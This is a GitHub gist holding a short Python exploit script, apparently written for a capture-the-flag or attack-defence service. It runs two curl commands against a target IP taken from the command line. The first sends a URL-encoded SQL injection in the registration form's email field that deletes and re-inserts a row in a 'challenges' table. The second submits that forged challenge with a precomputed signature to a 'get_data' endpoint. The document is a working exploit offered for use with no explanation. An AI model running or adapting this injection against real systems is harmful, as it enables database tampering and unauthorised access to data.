Skip to content

Instantly share code, notes, and snippets.

/curl.py Secret

Created May 27, 2017 00:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save anonymous/fd7fd06a488bf646b37e156e9a0cc827 to your computer and use it in GitHub Desktop.
Save anonymous/fd7fd06a488bf646b37e156e9a0cc827 to your computer and use it in GitHub Desktop.
import random
import os
from sys import argv
req1 = """curl 'https://{ip}:2443/register' --data 'email=a{rnd}%40a%27%2C+%27%27%29%3B+DELETE+FROM+challenges+WHERE+value%3D%272a3c9c785a0646373159c4b236d0b40f%27%3B+insert+into+challenges+%28value%2C+expiry%29+values+%28%272a3c9c785a0646373159c4b236d0b40f%27%2C+%272018-05-26%27%29%3B+--&password=1234&password_confirm=1234&=' --insecure""".format(ip=argv[1], rnd=random.randint(0, 10 ** 9))
os.system(req1)
req2 = """curl --data "chall=2a3c9c785a0646373159c4b236d0b40f&sig=000001003de2e251dad9ce4a8cc4972b2c7b2aa8687648d1f24f5d30122e81de21fce1c4007d33b02709d4890166eb463d82fe59aab8a563b0f27093a69795ab3118f149f680ebb2d10a1111de55af5cf5770dd71ad4f0ece387070c412f6caea738350b83dda8fbbd259f1a9d97fe0b3677e20b2af270f17854577e275074e962c71d0cb56c3c267e5eb0c9538bf164b69d2828a8455bc8b89d7a88d5db5b85c3fda56b8a4c7e64986269e55040126aace2aa92884cce75594b95851a3d0e3d40e0103a7c4cecc8d6ea922b4b58d52a21627e7196eed4bed04c254272da4fa99b6a4ef6e647cc9b4744f89c071299bead3a1ff9ad56189ae4bc6f0d3558436d5b0b830b00000020797842c7cecd682559be0f787130a0d7813f261fef854541452c7ca586fbaed0&" -k https://{ip}:2443/utility_company/get_data""".format(ip=argv[1])
os.system(req2)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment